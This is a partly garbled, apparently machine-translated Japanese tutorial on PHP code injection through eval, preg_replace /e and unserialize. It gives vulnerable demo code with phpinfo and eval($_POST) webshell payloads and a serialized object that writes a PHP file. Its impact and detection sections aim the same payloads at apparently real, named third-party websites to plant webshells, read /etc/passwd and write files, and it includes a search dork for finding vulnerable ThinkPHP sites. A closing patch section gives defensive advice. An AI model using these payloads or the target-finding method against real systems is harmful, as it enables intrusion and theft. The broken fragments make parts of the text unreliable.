任意のコード実行

17003 ワード

任意のコード実行
0 x 01成因
いくつかの共通言語には、文字列をコードに変換して実行する関連関数があります.
  • php
  •    eval assert
  • asp
  • .shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
  • python
  • exec
  • java
  • Java     php eval   
                  
       ,       ,  
             :OGNL SpEL MVEL 

    0 x 02 phpでコード注入をもたらす主な関数
    実行コードの関数
  • eval()
  • assert()callbackコールバック関数
  • preg_replace()+/eモードpreg_replace関数プロトタイプ:
    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    /e補正子preg_replace()replacementパラメータをPHPコード
     php ,            ,php                 ;            。
      :               。 
    逆シーケンス化関数
  • とする
  • unserialize()eval()実行phpコード
  • demo 1
    $data=$_GET['data'];
    eval("\$ret=$data;");
    echo $ret;

    phpinfo()
    http://192.168.188.66/code_inject/1/?data=phpinfo()
    http://192.168.188.66/code_inject/1/?data=1;phpinfo();

    または
    http://192.168.188.66/code_inject/1/?data=${phpinfo()}

    getshell
    http://192.168.188.66/code_inject/1/?data=1;@eval($_POST[a]); 
    

    または
    http://172.16.77.145/code_inject/1.php?data=${eval($_POST[T])}

    完全な文の構築:
    eval("
    $data=1;
    @eval($_POST[a]);
    ")

    demo 2
    $data=$_GET['data'];
    echo "\$ret='$data';";
    eval("\$ret=strtolower('$data');");
    echo $ret;

    phpinfo()
    /?data=123');phpinfo();//

    完全な文の構築:
    $ret=strtolower('123');
         
    $ret=strtolower('');
    phpinfo();//123');
    
    

    getshell
    /?data=123');eval($_POST[k]);//

    demo 3
    $data = $_GET['data'];
    eval("\$ret = strtolower(\"$data\");"); 
    echo $ret;

    phpinfo()
    /?data={${phpinfo()}}
     
    /?data=");phpinfo();//

    完全な文の構築:
    eval("
    $ret=strtolower("");
    phpinfo();
    //");
    ")
     
    eval("
    $ret=strtolower("{${phpinfo()}}");

    getshell
    /?data={${eval($_POST[k])}}

    demo 4
    
    $data = $_GET['data'];
    echo $data;
    preg_replace('/(.*)/e', '$ret = "\\1";', $data);
    echo $ret;

    phpinfo()
    http://192.168.188.66/code_inject/4/?data=<data>{${phpinfo()}}data>

    完全な文の構築:
    $ret="{${phpinfo()}}"

    getshell
    ?data="{${eval($_POST[k])}}"

    php逆シーケンス化シーケンス化は、ネットワーク伝送を容易にするために、オブジェクトの前の状態とデータを保存するオブジェクト持続化の技術である.phpでは、配列、変数、オブジェクトなどをシーケンス化できます(静的変数、定数はシーケンス化されません)
    
        class TestSerialize{
            private $name;
            private $password;
            const ID = 1234;
            public static $_class_name = __CLASS__;
    
            public function __set($varname,$value){
    
                $this->$varname = $value;
            }
    
            public function __get($varname)
            {
                return $this->$varname;
            }
        }
    
        $data = array(
                'name'=>'zhangsan',
                'password'=>'pwd123'
            );
    
    
        $test = 'abcd';
        $ts = new TestSerialize();
        $ts->name = 'zhangsan_2';
        $ts->password = 'pwd123_2';
        echo  'var=>'.serialize($test).'
    '
    ; echo 'array=>'.serialize($data).'
    '
    ; echo 'object=>'.serialize($ts).'
    '
    ; ?>

    出力結果
    var=>s:4:"abcd";
    array=>a:2:{s:4:"name";s:8:"zhangsan";s:8:"password";s:6:"pwd123";}
    object=>O:13:"TestSerialize":2:{s:19:"TestSerializename";s:10:"zhangsan_2";s:23:"TestSerializepassword";s:8:"pwd123_2";}

    コードクラスの定義が分かれば、コードを構築してdemoを実行することができます.
    サービス側コード
     class foo {
    public $file = "test.txt"; public $data = "123456";
    function __destruct() { file_put_contents($this->file, $this->data);
    } }
    $d = $_REQUEST['str'];
    var_dump($d);
    echo "
    "
    ; $tc = unserialize( base64_decode( $d ) ); //$tc = unserialize($_POST["str"]); var_dump($tc);

    シーケンス化を構築します
     class foo {
    public $file = "test.txt"; public $data = "123456";
    function __destruct() { file_put_contents($this->file, $this->data);
    } }
    $f = new foo();
    $f->file = "1.php";
    $f->data = " phpinfo(); ?>";
    echo base64_encode(serialize($f));

    生成
    TzozOiJmb28iOjI6e3M6NDoiZmlsZSI7czo1OiIxLnBocCI7czo0OiJkYXRhIjtzOjE2OiI8PyBwaHBpbmZvKCk7ID8+Ijt9

    生成された値をサービス側にコミットすると脆弱性が発生します
    0 x 03危害
  • 一言木馬
  • http://www.shichidachina.com/News/detail/item/{${@eval($_POST[1999])}}
  • 現在の作業経路の取得
  • http://www.shichidachina.com/News/detail/item/{${print(getcwd())}}
  • ファイルを読む
  • http://www.shichidachina.com/News/detail/item/{$ {exit(var_dump(file_get_contents($_POST[f])))}}
    f=/etc/passwd
  • webshell
  • を書く
    http://www.shichidachina.com/News/detail/item/{$
    {exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}} f=h4lp.php&d=22222

    0 x 04脆弱性の検出
    thinkphpフレームワークには、コード実行脆弱性のある検索方法intext:thinkphp intext:"Fast&Simple OOP PHP Framework"intext:"2.1"
    http://www.sinosteelchem.com/product_detail_en/id/$%7B%20phpinfo()%20%7D
    http://www.sjzy.org/index/rzkc_view/fid/70/eid/$%7B%20phpinfo()%7D
    http://www.shichidachina.com/News/detail/item/$%7B@%20phpinfo()%20%7D

    0 x 05パッチ
    eval()
  • jsonを使用して配列を保存でき、オブジェクトはjson形式を使用し、phpオブジェクトを文字列に保存しないでください.そうしないと、読み込み時にeval
  • を使用する必要があります.
  • evalを使用する必要がある場合は、ユーザがevalのパラメータに簡単に接触できないことを保証しなければならない(または入力されたデータフォーマットを正則的に判断する)
  • 文字列の場合は、制御可能なコードを単一引用符で包み、挿入前にaddslashes
  • を行う必要があります.
    $data = addslashes($data); 
    eval("\$data = deal('$data');");

    preg_replace()
  • pregの使用を放棄replaceのe修飾子
  • 使用preg_replace_callback()置換
  • pregを使用しない場合はreplace()+e修飾子、2番目のパラメータで正則的に一致するオブジェクトに対して、
  • を単一引用符で囲むことを保証してください.